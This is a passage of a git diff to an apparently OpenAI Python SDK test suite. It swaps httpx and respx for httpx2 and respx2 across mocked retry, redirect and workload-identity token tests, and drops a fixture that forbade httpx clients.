- respx_mock.post("/upload").mock(side_effect=mirror_request_content)
+ respx2_mock.post("/upload").mock(side_effect=mirror_request_content)
file_content = b"Hello, this is a test file."
@@ -2123,7 +2125,7 @@ async def test_binary_content_upload_with_body_is_deprecated(
response = await async_client.post(
"/upload",
body=file_content,
- cast_to=httpx.Response,
+ cast_to=httpx2.Response,
options={"headers": {"Content-Type": "application/octet-stream"}},
)
@@ -2131,22 +2133,22 @@ async def test_binary_content_upload_with_body_is_deprecated(
assert response.request.headers["Content-Type"] == "application/octet-stream"
assert response.content == file_content
- @pytest.mark.respx(base_url=base_url)
- async def test_basic_union_response(self, respx_mock: MockRouter, async_client: AsyncOpenAI) -> None:
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_basic_union_response(self, respx2_mock: MockRouter, async_client: AsyncOpenAI) -> None:
class Model1(BaseModel):
name: str
class Model2(BaseModel):
foo: str
- respx_mock.get("/foo").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ respx2_mock.get("/foo").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
response = await async_client.get("/foo", cast_to=cast(Any, Union[Model1, Model2]))
assert isinstance(response, Model2)
assert response.foo == "bar"
- @pytest.mark.respx(base_url=base_url)
- async def test_union_response_different_types(self, respx_mock: MockRouter, async_client: AsyncOpenAI) -> None:
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_union_response_different_types(self, respx2_mock: MockRouter, async_client: AsyncOpenAI) -> None:
"""Union of objects with the same field name using a different type"""
class Model1(BaseModel):
@@ -2155,21 +2157,21 @@ class Model1(BaseModel):
class Model2(BaseModel):
foo: str
- respx_mock.get("/foo").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ respx2_mock.get("/foo").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
response = await async_client.get("/foo", cast_to=cast(Any, Union[Model1, Model2]))
assert isinstance(response, Model2)
assert response.foo == "bar"
- respx_mock.get("/foo").mock(return_value=httpx.Response(200, json={"foo": 1}))
+ respx2_mock.get("/foo").mock(return_value=httpx2.Response(200, json={"foo": 1}))
response = await async_client.get("/foo", cast_to=cast(Any, Union[Model1, Model2]))
assert isinstance(response, Model1)
assert response.foo == 1
- @pytest.mark.respx(base_url=base_url)
+ @pytest.mark.respx2(base_url=base_url)
async def test_non_application_json_content_type_for_json_data(
- self, respx_mock: MockRouter, async_client: AsyncOpenAI
+ self, respx2_mock: MockRouter, async_client: AsyncOpenAI
) -> None:
"""
Response that sets Content-Type to something other than application/json but returns json data
@@ -2178,8 +2180,8 @@ async def test_non_application_json_content_type_for_json_data(
class Model(BaseModel):
foo: int
- respx_mock.get("/foo").mock(
- return_value=httpx.Response(
+ respx2_mock.get("/foo").mock(
+ return_value=httpx2.Response(
200,
content=json.dumps({"foo": 2}),
headers={"Content-Type": "application/text"},
@@ -2224,7 +2226,7 @@ async def test_base_url_env(self) -> None:
api_key=api_key,
admin_api_key=admin_api_key,
_strict_response_validation=True,
- http_client=httpx.AsyncClient(),
+ http_client=httpx2.AsyncClient(),
),
],
ids=["standard", "custom http client"],
@@ -2254,7 +2256,7 @@ async def test_base_url_trailing_slash(self, client: AsyncOpenAI) -> None:
api_key=api_key,
admin_api_key=admin_api_key,
_strict_response_validation=True,
- http_client=httpx.AsyncClient(),
+ http_client=httpx2.AsyncClient(),
),
],
ids=["standard", "custom http client"],
@@ -2284,7 +2286,7 @@ async def test_base_url_no_trailing_slash(self, client: AsyncOpenAI) -> None:
api_key=api_key,
admin_api_key=admin_api_key,
_strict_response_validation=True,
- http_client=httpx.AsyncClient(),
+ http_client=httpx2.AsyncClient(),
),
],
ids=["standard", "custom http client"],
@@ -2324,12 +2326,12 @@ async def test_client_context_manager(self) -> None:
assert not test_client.is_closed()
assert test_client.is_closed()
- @pytest.mark.respx(base_url=base_url)
- async def test_client_response_validation_error(self, respx_mock: MockRouter, async_client: AsyncOpenAI) -> None:
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_client_response_validation_error(self, respx2_mock: MockRouter, async_client: AsyncOpenAI) -> None:
class Model(BaseModel):
foo: str
- respx_mock.get("/foo").mock(return_value=httpx.Response(200, json={"foo": {"invalid": True}}))
+ respx2_mock.get("/foo").mock(return_value=httpx2.Response(200, json={"foo": {"invalid": True}}))
with pytest.raises(APIResponseValidationError) as exc:
await async_client.get("/foo", cast_to=Model)
@@ -2346,23 +2348,23 @@ async def test_client_max_retries_validation(self) -> None:
max_retries=cast(Any, None),
)
- @pytest.mark.respx(base_url=base_url)
- async def test_default_stream_cls(self, respx_mock: MockRouter, async_client: AsyncOpenAI) -> None:
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_default_stream_cls(self, respx2_mock: MockRouter, async_client: AsyncOpenAI) -> None:
class Model(BaseModel):
name: str
- respx_mock.post("/foo").mock(return_value=httpx.Response(200, json={"foo": "bar"}))
+ respx2_mock.post("/foo").mock(return_value=httpx2.Response(200, json={"foo": "bar"}))
stream = await async_client.post("/foo", cast_to=Model, stream=True, stream_cls=AsyncStream[Model])
assert isinstance(stream, AsyncStream)
await stream.response.aclose()
- @pytest.mark.respx(base_url=base_url)
- async def test_received_text_for_expected_json(self, respx_mock: MockRouter) -> None:
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_received_text_for_expected_json(self, respx2_mock: MockRouter) -> None:
class Model(BaseModel):
name: str
- respx_mock.get("/foo").mock(return_value=httpx.Response(200, text="my-custom-format"))
+ respx2_mock.get("/foo").mock(return_value=httpx2.Response(200, text="my-custom-format"))
strict_client = AsyncOpenAI(
base_url=base_url, api_key=api_key, admin_api_key=admin_api_key, _strict_response_validation=True
@@ -2413,30 +2415,30 @@ class Model(BaseModel):
async def test_parse_retry_after_header(
self, remaining_retries: int, retry_after: str, timeout: float, async_client: AsyncOpenAI
) -> None:
- headers = httpx.Headers({"retry-after": retry_after})
+ headers = httpx2.Headers({"retry-after": retry_after})
options = FinalRequestOptions(method="get", url="/foo", max_retries=3)
calculated = async_client._calculate_retry_timeout(remaining_retries, options, headers)
assert calculated == pytest.approx(timeout, 0.5 * 0.875) # pyright: ignore[reportUnknownMemberType]
- @pytest.mark.respx(base_url=base_url)
+ @pytest.mark.respx2(base_url=base_url)
async def test_does_not_retry_retry_after_above_max(
- self, respx_mock: MockRouter, async_client: AsyncOpenAI
+ self, respx2_mock: MockRouter, async_client: AsyncOpenAI
) -> None:
- route = respx_mock.get("/foo").mock(
- return_value=httpx.Response(429, headers={"retry-after": "121"}, json={"error": {}})
+ route = respx2_mock.get("/foo").mock(
+ return_value=httpx2.Response(429, headers={"retry-after": "121"}, json={"error": {}})
)
with pytest.raises(APIStatusError):
- await async_client.get("/foo", cast_to=httpx.Response)
+ await async_client.get("/foo", cast_to=httpx2.Response)
assert route.call_count == 1
- @pytest.mark.respx(base_url=base_url)
+ @pytest.mark.respx2(base_url=base_url)
async def test_invalid_retry_after_date_does_not_mask_status_error(
- self, respx_mock: MockRouter, async_client: AsyncOpenAI
+ self, respx2_mock: MockRouter, async_client: AsyncOpenAI
) -> None:
- route = respx_mock.get("/foo").mock(
- return_value=httpx.Response(
+ route = respx2_mock.get("/foo").mock(
+ return_value=httpx2.Response(
400,
headers={"retry-after": "Fri, 29 Sep 100000 16:26:57 GMT"},
json={"error": {}},
@@ -2444,14 +2446,16 @@ async def test_invalid_retry_after_date_does_not_mask_status_error(
)
with pytest.raises(APIStatusError):
- await async_client.get("/foo", cast_to=httpx.Response)
+ await async_client.get("/foo", cast_to=httpx2.Response)
assert route.call_count == 1
@mock.patch("openai._base_client.BaseClient._calculate_retry_timeout", _low_retry_timeout)
- @pytest.mark.respx(base_url=base_url)
- async def test_retrying_timeout_errors_doesnt_leak(self, respx_mock: MockRouter, async_client: AsyncOpenAI) -> None:
- respx_mock.post("/chat/completions").mock(side_effect=httpx.TimeoutException("Test timeout error"))
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_retrying_timeout_errors_doesnt_leak(
+ self, respx2_mock: MockRouter, async_client: AsyncOpenAI
+ ) -> None:
+ respx2_mock.post("/chat/completions").mock(side_effect=httpx2.TimeoutException("Test timeout error"))
with pytest.raises(APITimeoutError):
await async_client.chat.completions.with_streaming_response.create(
@@ -2467,9 +2471,9 @@ async def test_retrying_timeout_errors_doesnt_leak(self, respx_mock: MockRouter,
assert _get_open_connections(async_client) == 0
@mock.patch("openai._base_client.BaseClient._calculate_retry_timeout", _low_retry_timeout)
- @pytest.mark.respx(base_url=base_url)
- async def test_retrying_status_errors_doesnt_leak(self, respx_mock: MockRouter, async_client: AsyncOpenAI) -> None:
- respx_mock.post("/chat/completions").mock(return_value=httpx.Response(500))
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_retrying_status_errors_doesnt_leak(self, respx2_mock: MockRouter, async_client: AsyncOpenAI) -> None:
+ respx2_mock.post("/chat/completions").mock(return_value=httpx2.Response(500))
with pytest.raises(APIStatusError):
await async_client.chat.completions.with_streaming_response.create(
@@ -2485,29 +2489,29 @@ async def test_retrying_status_errors_doesnt_leak(self, respx_mock: MockRouter,
@pytest.mark.parametrize("failures_before_success", [0, 2, 4])
@mock.patch("openai._base_client.BaseClient._calculate_retry_timeout", _low_retry_timeout)
- @pytest.mark.respx(base_url=base_url)
+ @pytest.mark.respx2(base_url=base_url)
@pytest.mark.parametrize("failure_mode", ["status", "exception"])
async def test_retries_taken(
self,
async_client: AsyncOpenAI,
failures_before_success: int,
failure_mode: Literal["status", "exception"],
- respx_mock: MockRouter,
+ respx2_mock: MockRouter,
) -> None:
client = async_client.with_options(max_retries=4)
nb_retries = 0
- def retry_handler(_request: httpx.Request) -> httpx.Response:
+ def retry_handler(_request: httpx2.Request) -> httpx2.Response:
nonlocal nb_retries
if nb_retries < failures_before_success:
nb_retries += 1
if failure_mode == "exception":
raise RuntimeError("oops")
- return httpx.Response(500)
- return httpx.Response(200)
+ return httpx2.Response(500)
+ return httpx2.Response(200)
- respx_mock.post("/chat/completions").mock(side_effect=retry_handler)
+ respx2_mock.post("/chat/completions").mock(side_effect=retry_handler)
response = await client.chat.completions.with_raw_response.create(
messages=[
@@ -2524,22 +2528,22 @@ def retry_handler(_request: httpx.Request) -> httpx.Response:
@pytest.mark.parametrize("failures_before_success", [0, 2, 4])
@mock.patch("openai._base_client.BaseClient._calculate_retry_timeout", _low_retry_timeout)
- @pytest.mark.respx(base_url=base_url)
+ @pytest.mark.respx2(base_url=base_url)
async def test_omit_retry_count_header(
- self, async_client: AsyncOpenAI, failures_before_success: int, respx_mock: MockRouter
+ self, async_client: AsyncOpenAI, failures_before_success: int, respx2_mock: MockRouter
) -> None:
client = async_client.with_options(max_retries=4)
nb_retries = 0
- def retry_handler(_request: httpx.Request) -> httpx.Response:
+ def retry_handler(_request: httpx2.Request) -> httpx2.Response:
nonlocal nb_retries
if nb_retries < failures_before_success:
nb_retries += 1
- return httpx.Response(500)
- return httpx.Response(200)
+ return httpx2.Response(500)
+ return httpx2.Response(200)
- respx_mock.post("/chat/completions").mock(side_effect=retry_handler)
+ respx2_mock.post("/chat/completions").mock(side_effect=retry_handler)
response = await client.chat.completions.with_raw_response.create(
messages=[
@@ -2556,22 +2560,22 @@ def retry_handler(_request: httpx.Request) -> httpx.Response:
@pytest.mark.parametrize("failures_before_success", [0, 2, 4])
@mock.patch("openai._base_client.BaseClient._calculate_retry_timeout", _low_retry_timeout)
- @pytest.mark.respx(base_url=base_url)
+ @pytest.mark.respx2(base_url=base_url)
async def test_overwrite_retry_count_header(
- self, async_client: AsyncOpenAI, failures_before_success: int, respx_mock: MockRouter
+ self, async_client: AsyncOpenAI, failures_before_success: int, respx2_mock: MockRouter
) -> None:
client = async_client.with_options(max_retries=4)
nb_retries = 0
- def retry_handler(_request: httpx.Request) -> httpx.Response:
+ def retry_handler(_request: httpx2.Request) -> httpx2.Response:
nonlocal nb_retries
if nb_retries < failures_before_success:
nb_retries += 1
- return httpx.Response(500)
- return httpx.Response(200)
+ return httpx2.Response(500)
+ return httpx2.Response(200)
- respx_mock.post("/chat/completions").mock(side_effect=retry_handler)
+ respx2_mock.post("/chat/completions").mock(side_effect=retry_handler)
response = await client.chat.completions.with_raw_response.create(
messages=[
@@ -2588,22 +2592,22 @@ def retry_handler(_request: httpx.Request) -> httpx.Response:
@pytest.mark.parametrize("failures_before_success", [0, 2, 4])
@mock.patch("openai._base_client.BaseClient._calculate_retry_timeout", _low_retry_timeout)
- @pytest.mark.respx(base_url=base_url)
+ @pytest.mark.respx2(base_url=base_url)
async def test_retries_taken_new_response_class(
- self, async_client: AsyncOpenAI, failures_before_success: int, respx_mock: MockRouter
+ self, async_client: AsyncOpenAI, failures_before_success: int, respx2_mock: MockRouter
) -> None:
client = async_client.with_options(max_retries=4)
nb_retries = 0
- def retry_handler(_request: httpx.Request) -> httpx.Response:
+ def retry_handler(_request: httpx2.Request) -> httpx2.Response:
nonlocal nb_retries
if nb_retries < failures_before_success:
nb_retries += 1
- return httpx.Response(500)
- return httpx.Response(200)
+ return httpx2.Response(500)
+ return httpx2.Response(200)
- respx_mock.post("/chat/completions").mock(side_effect=retry_handler)
+ respx2_mock.post("/chat/completions").mock(side_effect=retry_handler)
async with client.chat.completions.with_streaming_response.create(
messages=[
@@ -2648,31 +2652,31 @@ async def test_default_client_creation(self) -> None:
trust_env=True,
http1=True,
http2=False,
- limits=httpx.Limits(max_connections=100, max_keepalive_connections=20),
+ limits=httpx2.Limits(max_connections=100, max_keepalive_connections=20),
)
- @pytest.mark.respx(base_url=base_url)
- async def test_follow_redirects(self, respx_mock: MockRouter, async_client: AsyncOpenAI) -> None:
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_follow_redirects(self, respx2_mock: MockRouter, async_client: AsyncOpenAI) -> None:
# Test that the default follow_redirects=True allows following redirects
- respx_mock.post("/redirect").mock(
- return_value=httpx.Response(302, headers={"Location": f"{base_url}/redirected"})
+ respx2_mock.post("/redirect").mock(
+ return_value=httpx2.Response(302, headers={"Location": f"{base_url}/redirected"})
)
- respx_mock.get("/redirected").mock(return_value=httpx.Response(200, json={"status": "ok"}))
+ respx2_mock.get("/redirected").mock(return_value=httpx2.Response(200, json={"status": "ok"}))
- response = await async_client.post("/redirect", body={"key": "value"}, cast_to=httpx.Response)
+ response = await async_client.post("/redirect", body={"key": "value"}, cast_to=httpx2.Response)
assert response.status_code == 200
assert response.json() == {"status": "ok"}
- @pytest.mark.respx(base_url=base_url)
- async def test_follow_redirects_disabled(self, respx_mock: MockRouter, async_client: AsyncOpenAI) -> None:
+ @pytest.mark.respx2(base_url=base_url)
+ async def test_follow_redirects_disabled(self, respx2_mock: MockRouter, async_client: AsyncOpenAI) -> None:
# Test that follow_redirects=False prevents following redirects
- respx_mock.post("/redirect").mock(
- return_value=httpx.Response(302, headers={"Location": f"{base_url}/redirected"})
+ respx2_mock.post("/redirect").mock(
+ return_value=httpx2.Response(302, headers={"Location": f"{base_url}/redirected"})
)
with pytest.raises(APIStatusError) as exc_info:
await async_client.post(
- "/redirect", body={"key": "value"}, options={"follow_redirects": False}, cast_to=httpx.Response
+ "/redirect", body={"key": "value"}, options={"follow_redirects": False}, cast_to=httpx2.Response
)
assert exc_info.value.response.status_code == 302
@@ -2700,12 +2704,12 @@ async def test_api_key_before_after_refresh_str(self) -> None:
assert client.auth_headers.get("Authorization") == "Bearer test_api_key"
- @pytest.mark.respx()
- async def test_bearer_token_refresh_async(self, respx_mock: MockRouter) -> None:
- respx_mock.post(base_url + "/chat/completions").mock(
+ @pytest.mark.respx2()
+ async def test_bearer_token_refresh_async(self, respx2_mock: MockRouter) -> None:
+ respx2_mock.post(base_url + "/chat/completions").mock(
side_effect=[
- httpx.Response(500, json={"error": "server error"}),
- httpx.Response(200, json={"foo": "bar"}),
+ httpx2.Response(500, json={"error": "server error"}),
+ httpx2.Response(200, json={"foo": "bar"}),
]
)
@@ -2724,7 +2728,7 @@ async def token_provider() -> str:
client = AsyncOpenAI(base_url=base_url, api_key=token_provider)
await client.chat.completions.create(messages=[], model="gpt-4")
- calls = cast("list[MockRequestCall]", respx_mock.calls)
+ calls = cast("list[MockRequestCall]", respx2_mock.calls)
assert len(calls) == 2
assert calls[0].request.headers.get("Authorization") == "Bearer first"
@@ -2743,8 +2747,8 @@ async def token_provider_2() -> str:
class TestWorkloadIdentity401Retry:
- @pytest.mark.respx()
- def test_workload_identity_401_retry(self, respx_mock: MockRouter) -> None:
+ @pytest.mark.respx2()
+ def test_workload_identity_401_retry(self, respx2_mock: MockRouter) -> None:
provider_call_count = 0
def provider() -> str:
@@ -2752,9 +2756,9 @@ def provider() -> str:
provider_call_count += 1
return f"external-subject-token-{provider_call_count}"
- respx_mock.post("https://auth.openai.com/oauth/token").mock(
+ respx2_mock.post("https://auth.openai.com/oauth/token").mock(
side_effect=[
- httpx.Response(
+ httpx2.Response(
200,
json={
"access_token": "openai-access-token-1",
@@ -2763,7 +2767,7 @@ def provider() -> str:
"expires_in": 3600,
},
),
- httpx.Response(
+ httpx2.Response(
200,
json={
"access_token": "openai-access-token-2",
@@ -2775,10 +2779,10 @@ def provider() -> str:
]
)
- respx_mock.post(base_url + "/chat/completions").mock(
+ respx2_mock.post(base_url + "/chat/completions").mock(
side_effect=[
- httpx.Response(401, json={"error": {"message": "Unauthorized", "type": "invalid_request_error"}}),
- httpx.Response(
+ httpx2.Response(401, json={"error": {"message": "Unauthorized", "type": "invalid_request_error"}}),
+ httpx2.Response(
200,
json={
"id": "chatcmpl-123",
@@ -2806,24 +2810,24 @@ def provider() -> str:
) as client:
client.chat.completions.create(messages=[], model="gpt-4")
- calls = cast("list[MockRequestCall]", respx_mock.calls)
+ calls = cast("list[MockRequestCall]", respx2_mock.calls)
assert len(calls) == 4
- assert calls[0].request.url == httpx.URL("https://auth.openai.com/oauth/token")
- assert calls[1].request.url == httpx.URL(base_url + "/chat/completions")
+ assert calls[0].request.url == httpx2.URL("https://auth.openai.com/oauth/token")
+ assert calls[1].request.url == httpx2.URL(base_url + "/chat/completions")
assert calls[1].request.headers.get("Authorization") == "Bearer openai-access-token-1"
- assert calls[2].request.url == httpx.URL("https://auth.openai.com/oauth/token")
+ assert calls[2].request.url == httpx2.URL("https://auth.openai.com/oauth/token")
- assert calls[3].request.url == httpx.URL(base_url + "/chat/completions")
+ assert calls[3].request.url == httpx2.URL(base_url + "/chat/completions")
assert calls[3].request.headers.get("Authorization") == "Bearer openai-access-token-2"
assert provider_call_count == 2
- @pytest.mark.respx()
- def test_401_without_workload_identity_no_retry(self, respx_mock: MockRouter) -> None:
- respx_mock.post(base_url + "/chat/completions").mock(
- return_value=httpx.Response(
+ @pytest.mark.respx2()
+ def test_401_without_workload_identity_no_retry(self, respx2_mock: MockRouter) -> None:
+ respx2_mock.post(base_url + "/chat/completions").mock(
+ return_value=httpx2.Response(
401, json={"error": {"message": "Unauthorized", "type": "invalid_request_error"}}
)
)
@@ -2838,11 +2842,11 @@ def test_401_without_workload_identity_no_retry(self, respx_mock: MockRouter) ->
assert exc_info.value.status_code == 401
- calls = cast("list[MockRequestCall]", respx_mock.calls)
+ calls = cast("list[MockRequestCall]", respx2_mock.calls)
assert len(calls) == 1
- @pytest.mark.respx()
- def test_non_401_errors_no_retry(self, respx_mock: MockRouter) -> None:
+ @pytest.mark.respx2()
+ def test_non_401_errors_no_retry(self, respx2_mock: MockRouter) -> None:
provider_call_count = 0
def provider() -> str:
@@ -2850,8 +2854,8 @@ def provider() -> str:
provider_call_count += 1
return "external-subject-token"
- respx_mock.post("https://auth.openai.com/oauth/token").mock(
- return_value=httpx.Response(
+ respx2_mock.post("https://auth.openai.com/oauth/token").mock(
+ return_value=httpx2.Response(
200,
json={
"access_token": "openai-access-token-1",
@@ -2862,8 +2866,8 @@ def provider() -> str:
)
)
- respx_mock.post(base_url + "/chat/completions").mock(
- return_value=httpx.Response(403, json={"error": {"message": "Forbidden", "type": "invalid_request_error"}})
+ respx2_mock.post(base_url + "/chat/completions").mock(
+ return_value=httpx2.Response(403, json={"error": {"message": "Forbidden", "type": "invalid_request_error"}})
)
with OpenAI(
@@ -2884,15 +2888,15 @@ def provider() -> str:
assert exc_info.value.status_code == 403
- calls = cast("list[MockRequestCall]", respx_mock.calls)
+ calls = cast("list[MockRequestCall]", respx2_mock.calls)
assert len(calls) == 2
assert provider_call_count == 1
class TestAsyncWorkloadIdentity401Retry:
- @pytest.mark.respx()
- async def test_workload_identity_401_retry(self, respx_mock: MockRouter) -> None:
+ @pytest.mark.respx2()
+ async def test_workload_identity_401_retry(self, respx2_mock: MockRouter) -> None:
provider_call_count = 0
def provider() -> str:
@@ -2900,9 +2904,9 @@ def provider() -> str:
provider_call_count += 1
return f"external-subject-token-{provider_call_count}"
- respx_mock.post("https://auth.openai.com/oauth/token").mock(
+ respx2_mock.post("https://auth.openai.com/oauth/token").mock(
side_effect=[
- httpx.Response(
+ httpx2.Response(
200,
json={
"access_token": "openai-access-token-1",
@@ -2911,7 +2915,7 @@ def provider() -> str:
"expires_in": 3600,
},
),
- httpx.Response(
+ httpx2.Response(
200,
json={
"access_token": "openai-access-token-2",
@@ -2923,10 +2927,10 @@ def provider() -> str:
]
)
- respx_mock.post(base_url + "/chat/completions").mock(
+ respx2_mock.post(base_url + "/chat/completions").mock(
side_effect=[
- httpx.Response(401, json={"error": {"message": "Unauthorized", "type": "invalid_request_error"}}),
- httpx.Response(
+ httpx2.Response(401, json={"error": {"message": "Unauthorized", "type": "invalid_request_error"}}),
+ httpx2.Response(
200,
json={
"id": "chatcmpl-123",
@@ -2954,24 +2958,24 @@ def provider() -> str:
) as client:
await client.chat.completions.create(messages=[], model="gpt-4")
- calls = cast("list[MockRequestCall]", respx_mock.calls)
+ calls = cast("list[MockRequestCall]", respx2_mock.calls)
assert len(calls) == 4
- assert calls[0].request.url == httpx.URL("https://auth.openai.com/oauth/token")
- assert calls[1].request.url == httpx.URL(base_url + "/chat/completions")
+ assert calls[0].request.url == httpx2.URL("https://auth.openai.com/oauth/token")
+ assert calls[1].request.url == httpx2.URL(base_url + "/chat/completions")
assert calls[1].request.headers.get("Authorization") == "Bearer openai-access-token-1"
- assert calls[2].request.url == httpx.URL("https://auth.openai.com/oauth/token")
+ assert calls[2].request.url == httpx2.URL("https://auth.openai.com/oauth/token")
- assert calls[3].request.url == httpx.URL(base_url + "/chat/completions")
+ assert calls[3].request.url == httpx2.URL(base_url + "/chat/completions")
assert calls[3].request.headers.get("Authorization") == "Bearer openai-access-token-2"
assert provider_call_count == 2
- @pytest.mark.respx()
- async def test_401_without_workload_identity_no_retry(self, respx_mock: MockRouter) -> None:
- respx_mock.post(base_url + "/chat/completions").mock(
- return_value=httpx.Response(
+ @pytest.mark.respx2()
+ async def test_401_without_workload_identity_no_retry(self, respx2_mock: MockRouter) -> None:
+ respx2_mock.post(base_url + "/chat/completions").mock(
+ return_value=httpx2.Response(
401, json={"error": {"message": "Unauthorized", "type": "invalid_request_error"}}
)
)
@@ -2986,11 +2990,11 @@ async def test_401_without_workload_identity_no_retry(self, respx_mock: MockRout
assert exc_info.value.status_code == 401
- calls = cast("list[MockRequestCall]", respx_mock.calls)
+ calls = cast("list[MockRequestCall]", respx2_mock.calls)
assert len(calls) == 1
- @pytest.mark.respx()
- async def test_non_401_errors_no_retry(self, respx_mock: MockRouter) -> None:
+ @pytest.mark.respx2()
+ async def test_non_401_errors_no_retry(self, respx2_mock: MockRouter) -> None:
provider_call_count = 0
def provider() -> str:
@@ -2998,8 +3002,8 @@ def provider() -> str:
provider_call_count += 1
return "external-subject-token"
- respx_mock.post("https://auth.openai.com/oauth/token").mock(
- return_value=httpx.Response(
+ respx2_mock.post("https://auth.openai.com/oauth/token").mock(
+ return_value=httpx2.Response(
200,
json={
"access_token": "openai-access-token-1",
@@ -3010,8 +3014,8 @@ def provider() -> str:
)
)
- respx_mock.post(base_url + "/chat/completions").mock(
- return_value=httpx.Response(403, json={"error": {"message": "Forbidden", "type": "invalid_request_error"}})
+ respx2_mock.post(base_url + "/chat/completions").mock(
+ return_value=httpx2.Response(403, json={"error": {"message": "Forbidden", "type": "invalid_request_error"}})
)
async with AsyncOpenAI(
@@ -3032,7 +3036,7 @@ def provider() -> str:
assert exc_info.value.status_code == 403
- calls = cast("list[MockRequestCall]", respx_mock.calls)
+ calls = cast("list[MockRequestCall]", respx2_mock.calls)
assert len(calls) == 2
assert provider_call_count == 1
diff --git a/tests/test_httpx2.py b/tests/test_httpx2.py
index 3afd2d68d5..764fc00f0b 100644
--- a/tests/test_httpx2.py
+++ b/tests/test_httpx2.py
@@ -4,7 +4,7 @@
from typing import Any
from typing_extensions import override
-import httpx
+import httpx2
import pytest
import openai
@@ -22,25 +22,12 @@
from openai.providers import bedrock
from openai._constants import DEFAULT_TIMEOUT
-httpx2 = pytest.importorskip("httpx2")
-
-@pytest.fixture(autouse=True)
-def forbid_httpx_execution(monkeypatch: pytest.MonkeyPatch) -> None:
- def forbidden(*_args: object, **_kwargs: object) -> None:
- raise AssertionError("the experimental path unexpectedly executed an HTTPX client")
-
- monkeypatch.setattr(httpx.Client, "build_request", forbidden)
- monkeypatch.setattr(httpx.Client, "send", forbidden)
- monkeypatch.setattr(httpx.AsyncClient, "build_request", forbidden)
- monkeypatch.setattr(httpx.AsyncClient, "send", forbidden)
-
-
-def model_list(request: httpx.Request) -> httpx.Response:
+def model_list(request: httpx2.Request) -> httpx2.Response:
return httpx2.Response(200, json={"object": "list", "data": []}, request=request)
-def sse_response(request: httpx.Request) -> httpx.Response:
+def sse_response(request: httpx2.Request) -> httpx2.Response:
return httpx2.Response(
200,
headers={"content-type": "text/event-stream"},
@@ -69,21 +56,21 @@ async def test_httpx2_helpers_supply_sdk_defaults_and_accept_native_proxy() -> N
def test_sync_helper_preserves_httpx2_family_for_parsed_raw_and_sse() -> None:
- requests: list[httpx.Request] = []
+ requests: list[httpx2.Request] = []
hooks: list[str] = []
- def handler(request: httpx.Request) -> httpx.Response:
+ def handler(request: httpx2.Request) -> httpx2.Response:
requests.append(request)
return sse_response(request) if request.url.path.endswith("/responses") else model_list(request)
- def on_request(request: httpx.Request) -> None:
+ def on_request(request: httpx2.Request) -> None:
hooks.append(type(request).__module__)
with OpenAI(
api_key="test",
base_url=httpx2.URL("https://example.test/v1"),
http_client=openai.DefaultHttpx2Client(
- timeout=httpx.Timeout(30.0, read=10.0),
+ timeout=httpx2.Timeout(30.0, read=10.0),
auth=httpx2.BasicAuth("fake-test-user", "fake-test-password"),
headers=[("x-repeated", "one"), ("x-repeated", "two")],
mounts={"https://example.test": httpx2.MockTransport(handler)},
@@ -100,7 +87,7 @@ def on_request(request: httpx.Request) -> None:
"/multipart",
files={"file": ("example.txt", b"body", "text/plain")},
options={"headers": {"Content-Type": "multipart/form-data"}},
- cast_to=httpx.Response,
+ cast_to=httpx2.Response,
)
assert parsed.object == "list"
@@ -122,21 +109,21 @@ def on_request(request: httpx.Request) -> None:
async def test_async_helper_preserves_httpx2_family_for_parsed_raw_and_sse() -> None:
- requests: list[httpx.Request] = []
+ requests: list[httpx2.Request] = []
hooks: list[str] = []
- async def handler(request: httpx.Request) -> httpx.Response:
+ async def handler(request: httpx2.Request) -> httpx2.Response:
requests.append(request)
return sse_response(request) if request.url.path.endswith("/responses") else model_list(request)
- async def on_request(request: httpx.Request) -> None:
+ async def on_request(request: httpx2.Request) -> None:
hooks.append(type(request).__module__)
async with AsyncOpenAI(
api_key="test",
base_url=httpx2.URL("https://example.test/v1"),
http_client=openai.DefaultAsyncHttpx2Client(
- timeout=httpx.Timeout(30.0, read=10.0),
+ timeout=httpx2.Timeout(30.0, read=10.0),
auth=httpx2.BasicAuth("fake-test-user", "fake-test-password"),
headers=[("x-repeated", "one"), ("x-repeated", "two")],
transport=httpx2.MockTransport(handler),
@@ -153,7 +140,7 @@ async def on_request(request: httpx.Request) -> None:
"/multipart",
files={"file": ("example.txt", b"body", "text/plain")},
options={"headers": {"Content-Type": "multipart/form-data"}},
- cast_to=httpx.Response,
+ cast_to=httpx2.Response,
)
assert parsed.object == "list"
@@ -196,7 +183,7 @@ async def test_httpx2_urls_and_response_casts() -> None:
class ResponseSubclass(httpx2.Response):
pass
- def model(request: httpx.Request) -> httpx.Response:
+ def model(request: httpx2.Request) -> httpx2.Response:
return httpx2.Response(
200,
request=request,
@@ -218,7 +205,7 @@ def model(request: httpx.Request) -> httpx.Response:
with pytest.raises(ValueError, match="Subclasses of HTTP response classes"):
client.get("/models", cast_to=ResponseSubclass)
- async def handler(request: httpx.Request) -> httpx.Response:
+ async def handler(request: httpx2.Request) -> httpx2.Response:
return model(request)
async with AsyncOpenAI(
@@ -308,14 +295,14 @@ async def test_httpx2_urls_work_for_all_websocket_builders() -> None:
async def test_httpx2_native_timeouts_set_numeric_read_timeout_header() -> None:
- sync_requests: list[httpx.Request] = []
- async_requests: list[httpx.Request] = []
+ sync_requests: list[httpx2.Request] = []
+ async_requests: list[httpx2.Request] = []
- def sync_handler(request: httpx.Request) -> httpx.Response:
+ def sync_handler(request: httpx2.Request) -> httpx2.Response:
sync_requests.append(request)
return model_list(request)
- async def async_handler(request: httpx.Request) -> httpx.Response:
+ async def async_handler(request: httpx2.Request) -> httpx2.Response:
async_requests.append(request)
return model_list(request)
@@ -344,7 +331,7 @@ async def async_handler(request: httpx.Request) -> httpx.Response:
async def test_direct_async_injection() -> None:
- async def handler(request: httpx.Request) -> httpx.Response:
+ async def handler(request: httpx2.Request) -> httpx2.Response:
return model_list(request)
direct = httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False)
@@ -357,9 +344,9 @@ async def handler(request: httpx.Request) -> httpx.Response:
@pytest.mark.parametrize("failure", ["timeout", "connection", "status"])
